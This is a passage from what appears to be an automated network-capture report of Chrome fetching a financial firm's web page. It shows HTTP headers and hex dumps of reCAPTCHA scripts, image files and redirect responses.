67 69 6e 3d 26 61 6d 70 3b 6c 69 62 72 61 72 69 65 Data Ascii: <link rel="preload" href="https://maps.gstatic.com/maps-api-v3/embed/js/56/8/init_embed.js" nonce="JwsKqgSoK5JN1tVqquXggA" as="script" /> <script src="https://maps.googleapis.com/maps/api/js?client=google-maps-embed&paint_origin=&librarie
2024-04-11 20:34:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49760	142.250.80.36	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:55 UTC	689	OUT	GET /recaptcha/api.js?hl=en_US&onload=recaptchaCallback&render=explicit&ver=2.0 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:56 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Thu, 11 Apr 2024 20:34:55 GMT Date: Thu, 11 Apr 2024 20:34:55 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-11 20:34:56 UTC	727	IN	Data Raw: 35 30 34 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 504/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-04-11 20:34:56 UTC	564	IN	Data Raw: 56 79 5a 53 49 36 49 6b 52 70 63 32 46 69 62 47 56 55 61 47 6c 79 5a 46 42 68 63 6e 52 35 55 33 52 76 63 6d 46 6e 5a 56 42 68 63 6e 52 70 64 47 6c 76 62 6d 6c 75 5a 79 49 73 49 6d 56 34 63 47 6c 79 65 53 49 36 4d 54 63 79 4e 54 51 77 4e 7a 6b 35 4f 53 77 69 61 58 4e 54 64 57 4a 6b 62 32 31 68 61 57 34 69 4f 6e 52 79 64 57 55 73 49 6d 6c 7a 56 47 68 70 63 6d 52 51 59 58 4a 30 65 53 49 36 64 48 4a 31 5a 58 30 3d 27 3b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 72 7a 34 44 76 55 2d 63 59 32 4a 59 43 77 48 53 54 63 6b 30 5f 71 6d 2d 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f 2e Data Ascii: VyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/recaptcha__en.js';po.
2024-04-11 20:34:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49763	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:55 UTC	632	OUT	GET /wp-content/uploads/2017/06/shutterstock_521063305.jpg HTTP/1.1 Host: bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:56 UTC	634	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 162 x-fw-hash: thumialfjs x-xss-protection: 1 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 x-fw-version: 5.0.0 x-content-type-options: nosniff location: https://www.bfjfinancial.com/wp-content/uploads/2017/06/shutterstock_521063305.jpg content-type: text/html Server: Flywheel/5.1.0 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:56 GMT X-Served-By: cache-lga21979-LGA, cache-lga21952-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867696.973781,VS0,VE104 X-FW-Serve: TRUE X-FW-Static: NO X-FW-Type: VISIT
2024-04-11 20:34:56 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49764	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:55 UTC	632	OUT	GET /wp-content/uploads/2017/07/shutterstock_153861770.jpg HTTP/1.1 Host: bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:56 UTC	632	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 162 x-fw-hash: thumialfjs x-xss-protection: 1 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 x-fw-version: 5.0.0 x-content-type-options: nosniff location: https://www.bfjfinancial.com/wp-content/uploads/2017/07/shutterstock_153861770.jpg content-type: text/html Server: Flywheel/5.1.0 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:56 GMT X-Served-By: cache-ewr18159-EWR, cache-ewr18160-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 0 X-Timer: S1712867696.979717,VS0,VE52 X-FW-Serve: TRUE X-FW-Static: NO X-FW-Type: VISIT
2024-04-11 20:34:56 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49766	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:55 UTC	381	OUT	GET /wp-content/uploads/2017/05/broker.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:56 UTC	709	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3162 content-type: image/png x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "5a03ef32-c5a" last-modified: Thu, 09 Nov 2017 06:01:22 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:56 GMT X-Served-By: cache-ewr18150-EWR, cache-ewr18181-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 1 X-Timer: S1712867696.083494,VS0,VE3 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 1b 08 06 00 00 00 8a 96 2a 40 00 00 0c 21 49 44 41 54 68 81 ed 5a 79 58 94 e5 16 47 c8 50 b3 d4 b4 5b 59 a6 56 76 7b ae a6 a2 b7 7a f2 ea 6d d5 ca 0c cd d2 0a 71 c3 a5 54 52 31 cd ba a6 a1 e1 55 14 2c ec aa 08 66 c8 2a c3 22 b2 c4 3a 82 2c 82 b2 0c 0c b1 ce be 31 0c b3 30 cc be 73 cf 19 e7 ab 8f 71 58 bc 51 58 cf fd e3 3c f3 bd e7 3b ef fa 7b cf ef 9c 33 33 6e b6 ee 6e 77 90 61 20 6e 8e cf de c4 9d f4 fc 17 87 bd 1b a9 6f 7f fd ef ea e5 99 2c f7 f5 33 c6 30 d2 7c f8 39 12 64 82 8b f5 bb b9 d0 3d 00 32 dc 21 03 5d 73 7f ef 9d e5 21 10 8f db ec 43 9e cb 9d 58 d4 ff e5 0e 11 e7 1b fe 87 97 76 a5 ee c1 d3 39 f5 bb 7c 4f 52 d3 5f 3a 70 b9 6a e1 a1 8c 1b 1b 4e 15 26 c6 97 30 fc 34 06 f3 3d 7d Data Ascii: PNGIHDRd@!IDAThZyXGP[YVv{zmqTR1U,f":,10sqXQX<;{33nnwa no,30\|9d=2!]s!CXv9\|OR_:pjN&04=}
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 2b 11 10 4a 19 73 f5 cd 35 d9 86 05 25 57 07 a1 cd f2 63 b9 54 fb 25 88 2c 89 c1 f6 aa b0 82 2c 95 de 34 1a 75 15 ad ed ff 38 96 46 db 0f d4 7d 17 19 10 99 4a 3f 7e fe 97 69 4d d8 fe 3c b6 e2 3b 17 eb 1a 79 0b 20 bb b3 05 4c f0 88 cb e0 fa c9 70 f0 15 f6 03 c8 e2 97 9b 80 d3 09 40 92 7f 52 f8 13 83 a4 34 28 02 50 17 76 4d 72 96 3c 38 64 54 93 96 44 33 ba e1 26 cb f0 70 09 40 aa 45 da 97 81 8e 2c ef c0 2d a7 b7 eb e6 a3 2d 5d ac 7b 01 c7 58 1a cb 34 1c bc d2 76 91 90 af a8 22 0a 82 0d 34 68 53 42 c6 44 00 92 de ac dc 44 cc f3 e6 e1 ac eb b8 c1 c2 9f 44 af 55 89 b4 af 9e ad 94 86 dc 0e 20 67 f3 1b 77 13 ba a2 86 b6 45 a8 db 14 7e 35 85 5a 2f 5c 88 cf 90 bd 69 d7 fd a7 90 42 88 ef 49 6a 2a ea 1f 01 0a d3 1a cd a3 c0 3b 24 0f 6d c4 18 a6 7a c2 d5 3c 04 20 21 Data Ascii: +Js5%WcT%,,4u8F}J?~iM<;y Lp@R4(PvMr<8dTD3&p@E,--]{X4v"4hSBDDDU gwE~5Z/\iBIj*;$mz< !
2024-04-11 20:34:56 UTC	406	IN	Data Raw: 06 e5 47 aa 95 a1 79 f9 50 5c 7e 96 51 c5 f5 fe 26 93 7e b0 8a d5 f1 1c 14 90 97 a1 3e 0a 09 88 ba 76 5e ac d4 8d 7f ef 78 6e 71 78 7e c3 d6 a5 47 b3 0b b1 cf a1 a4 aa e0 35 27 a9 97 06 13 90 df 42 90 d7 47 da 7a fe 0b 63 d0 45 55 59 36 bf f9 83 57 aa e1 f3 96 94 b3 3f 69 86 ec ac b4 49 fc 22 04 f9 09 32 b5 de fe 5b cb f2 e3 b9 05 ab c2 a8 39 39 34 fe 1b 04 20 1b 4e 15 5e da 1a 51 1c ef f3 6d 41 0e 02 b2 fc 58 4e 69 50 4a 75 20 00 93 8b b5 d0 fb a1 79 d9 fe e7 4a a2 04 32 cd a4 3b 19 10 b2 dc 11 7f 38 70 16 00 63 e1 37 19 75 7b b7 47 96 9e 0d 4e ad b1 7b d8 aa b0 82 4c e2 bd 03 90 57 00 90 34 26 64 70 50 54 6a 11 10 9f 6f f2 a9 90 ea fa 42 2d 73 30 13 3c c9 fb 68 76 99 6f 18 35 f7 44 46 9d 73 2c 1b 30 20 68 33 e4 3f 79 fe 06 72 5b 97 11 bc 62 02 95 2e 7c Data Ascii: GyP\~Q&~>v^xnqx~G5'BGzcEUY6W?iI"2[994 N^QmAXNiPJu yJ2;8pc7u{GN{LW4&dpPTjoB-s0<hvo5DFs,0 h3?yr[b.\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49765	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:55 UTC	392	OUT	GET /wp-content/themes/x-child/images/linkedin-28.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:56 UTC	711	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2143 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/png x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "5a9524da-85f" last-modified: Tue, 27 Feb 2018 09:28:58 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:56 GMT X-Served-By: cache-lga21933-LGA, cache-lga21966-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867696.092644,VS0,VE51 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1c 00 00 00 1c 08 06 00 00 00 72 0d df 94 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRrtEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-04-11 20:34:56 UTC	765	IN	Data Raw: ec 13 69 dc 5e 2c e0 b7 2c 23 2d ed 59 eb 11 1a 77 96 72 a6 1e 65 99 eb 88 aa 49 c6 3d 9b 06 98 0d 42 9c a0 fa 9a 49 db 70 36 61 84 78 ca 47 77 5c e3 bb b9 1c f8 13 e9 4e 1f ab 8c d8 a7 f6 25 d0 19 63 36 11 e0 e7 a5 32 8a b9 0a 46 9e 4c 63 88 c1 75 77 a5 82 f1 3f 59 9d a8 1b 58 a0 10 35 64 0b b9 08 65 8e 36 b9 80 c1 d1 df e6 61 e6 fc 41 74 f0 bf 5c 2f 7d 73 0f 57 ee ac 60 ec 95 01 0c 67 92 f6 dd 85 a9 2c f6 a7 3c bc 35 bc 17 6b e8 93 f7 0a 78 f9 ca 7d 2c ad 86 8e 74 83 a5 e6 28 55 35 3d cd 3e 57 36 05 95 58 2e 8b 0f c6 b8 9d 4a dc 49 f0 12 2d 7b 6f b8 9b 64 bd 4e fd 20 42 81 41 75 72 20 8d 4f 4f 65 50 cb e3 0d b9 69 7a 34 65 33 5b d5 8b 7c e0 52 44 c0 2c 8f 1c 6d e8 de 05 54 20 d1 a6 f1 ee 0f 0b 78 e1 8b 39 7c 3f 9f 47 82 67 6a 8a 65 8c 1e 48 e1 e9 7e 16 Data Ascii: i^,,#-YwreI=BIp6axGw\N%c62FLcuw?YX5de6aAt\/}sW`g,<5kx},t(U5=>W6X.JI-{odN BAur OOePiz4e3[\|RD,mT x9\|?GgjeH~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49767	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:56 UTC	643	OUT	GET /wp-content/uploads/2023/03/BFJ_LOGO_WITH_TAG_WHITE_NEW.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:56 UTC	713	IN	HTTP/1.1 200 OK Connection: close Content-Length: 54653 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/png x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "6422cf61-d57d" last-modified: Tue, 28 Mar 2023 11:28:33 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:56 GMT X-Served-By: cache-lga21976-LGA, cache-lga21972-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867696.159465,VS0,VE48 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 06 54 00 00 02 a3 08 06 00 00 00 6b d6 e2 0a 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 d5 1f 49 44 41 54 78 da ec dd 07 98 5e 65 9d 3e e0 37 84 54 02 01 12 ba 08 22 88 28 62 07 14 01 95 5d b1 01 ae fe 71 57 57 d7 2d f6 55 51 71 d5 55 51 c0 be 52 56 70 55 94 a2 a0 82 20 02 8a a8 cb 22 48 11 a5 f7 a2 14 01 21 10 3a a4 d7 ff ef dd 73 66 33 a9 5f 32 df f9 da 39 f7 7d 5d cf 95 10 f0 64 e6 f9 26 5e 99 79 e6 9c 77 d4 e2 c5 8b 13 00 00 74 c8 a8 c8 c4 c8 f8 c8 a6 91 9d 22 cf 8e 6c 13 d9 2a b2 51 64 4a 64 52 0f de b6 1b 22 1f 8d 5c 12 59 e0 a5 aa a5 57 44 7e 1c d9 30 b2 50 1d 03 6f 66 e4 e1 c8 43 91 bb 23 77 44 6e 8a 5c 1b b9 2f 32 27 32 Data Ascii: PNGIHDRTktEXtSoftwareAdobe ImageReadyqe<IDATx^e>7T"(b]qWW-UQqUQRVpU "H!:sf3_29}]d&^ywt"l*QdJdR"\YWD~0PofC#wDn\/2'2
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 00 a0 19 dc a1 02 00 d0 2c fb 26 63 4a 3f 59 3f f2 85 54 7c 71 de 77 ba 0f 86 fc 1d 69 47 47 be a1 8a c6 9b 90 8a 3b fe 00 00 68 08 77 a8 00 00 34 47 7e dc d7 ef 22 2f 52 45 5f 3a 39 f2 91 c8 03 aa 18 08 79 0c 3b 29 f2 7a 55 34 5a be 3b 65 c7 c8 1c 55 00 00 d4 9f 3b 54 00 00 9a e3 d9 91 e7 ab a1 6f bd 25 15 e7 aa ec a0 8a 81 90 1f d7 f6 c9 54 3c 42 8f e6 7a 5a 64 4f 35 00 00 34 83 41 05 00 a0 39 de ec ef 7f 7d ef af 22 a7 46 76 57 c5 40 b8 31 15 a3 ca a3 aa 68 ac 7c a6 ce df aa 01 00 a0 19 7c 42 0d 00 d0 1c af 4b c5 17 ff e8 6f f9 f1 41 3f 8e bc 49 15 03 e1 97 91 43 d4 d0 58 f9 ff 53 5f 91 9c 81 04 00 d0 08 06 15 00 80 66 78 7a 64 6b 35 0c 8c cd 22 df 8b bc 5b 15 03 e1 eb 91 e3 d4 d0 58 53 23 2f 54 03 00 40 fd 19 54 00 00 9a c1 77 50 0f 9e 49 91 a3 23 9f Data Ascii: ,&cJ?Y?T\|qwiGG;hw4G~"/RE_:9y;)zU4Z;eU;To%T<BzZdO54A9}"FvW@1h\|\|BKoA?ICXS_fxzdk5"[XS#/T@TwPI#
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 7b 23 9f f2 72 f4 d4 4f cb 00 00 00 3d 60 50 01 00 80 fe f5 db c8 fb 23 0f af c1 ff e6 87 a9 18 3e 66 75 e0 ed 39 28 f2 76 2f 4b 4f 7d 22 72 9f 1a 00 00 a0 fb 0c 2a 00 00 d0 9f ae 8a bc 23 32 6d 04 ff db ef a4 e2 f1 50 f3 2a 7e 9b c6 47 be 1a 79 a5 97 a7 67 ee 89 7c 4e 0d 00 00 d0 7d 06 15 00 00 e8 3f 7f 8c bc 35 72 d7 08 ff f7 0b 22 5f 8b 7c 2b ad fa dc 95 91 d8 2c 72 78 64 7b 2f 53 cf 9c 18 39 47 0d 00 00 d0 5d 06 15 00 00 e8 2f f9 50 f9 b7 45 6e 6d f3 3a f3 23 1f 8d fc a0 03 6f e3 f3 22 47 46 d6 f7 72 f5 44 be f3 68 75 cf d5 01 00 00 2a 62 50 01 00 80 fe 91 0f 93 cf 8f f9 ba bc a2 eb e5 bb 53 de 17 b9 a0 03 6f eb 6b 22 5f 89 8c f3 b2 f5 c4 cd 65 ff 00 00 40 97 18 54 00 00 a0 3f cc 88 7c 28 f2 eb 8a af 9b 0f a7 7f 4f e4 b6 0e bc cd f9 ba 1f 8c 8c f2 f2 Data Ascii: {#rO=`P#>fu9(v/KO}"r#2mP~Gyg\|N}?5r"_\|+,rxd{/S9G]/PEnm:#o"GFrDhu*bPSok"_e@T?\|(O
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 77 56 7c dd 7c cd a7 a9 b7 2b 3e af 02 00 00 58 7d 06 15 00 00 58 7d f9 51 57 1f 53 c3 ff c9 e7 70 1c 12 99 5d e1 35 b7 8a 7c 51 b5 5d f1 cb c8 ef d4 00 00 00 ab c7 a0 02 00 00 ab e7 b1 c8 fb 53 71 28 3b 4b fc 30 72 7a c5 d7 7c 4b e4 ef 54 db 71 f9 f1 75 9f 55 03 00 00 ac 1e 83 0a 00 00 ac 9e 7c 08 fd 65 6a 58 ce 82 c8 27 52 f5 8f fe ca 77 a9 6c a6 de 8e bb 38 f2 2b 35 00 00 40 6b 06 15 00 00 68 ed a4 54 9c 9d c2 8a dd 17 f9 4c 64 6e 85 d7 dc 26 15 e7 a9 d0 59 f9 35 fb 0f 35 00 00 40 6b 06 15 00 00 58 b5 eb 22 5f 8a cc 51 c5 2a 9d 12 f9 49 c5 d7 7c 63 64 7f d5 76 5c 3e 1b e8 0c 35 00 00 c0 aa 19 54 00 00 60 e5 e6 45 0e 8e dc a2 8a 96 16 45 fe 2d 72 77 85 d7 5c 37 f2 f1 c8 c6 ea ed a8 27 22 df 8d 2c 54 05 00 00 ac 9c 41 05 00 00 56 2c 7f 71 39 3f 0a c9 77 Data Ascii: wV\|\|+>X}X}QWSp]5\|Q]Sq(;K0rz\|KTquU\|ejX'Rwl8+5@khTLdn&Y55@kX"_Q*I\|cdv\>5T`EE-rw\7'",TAV,q9?w
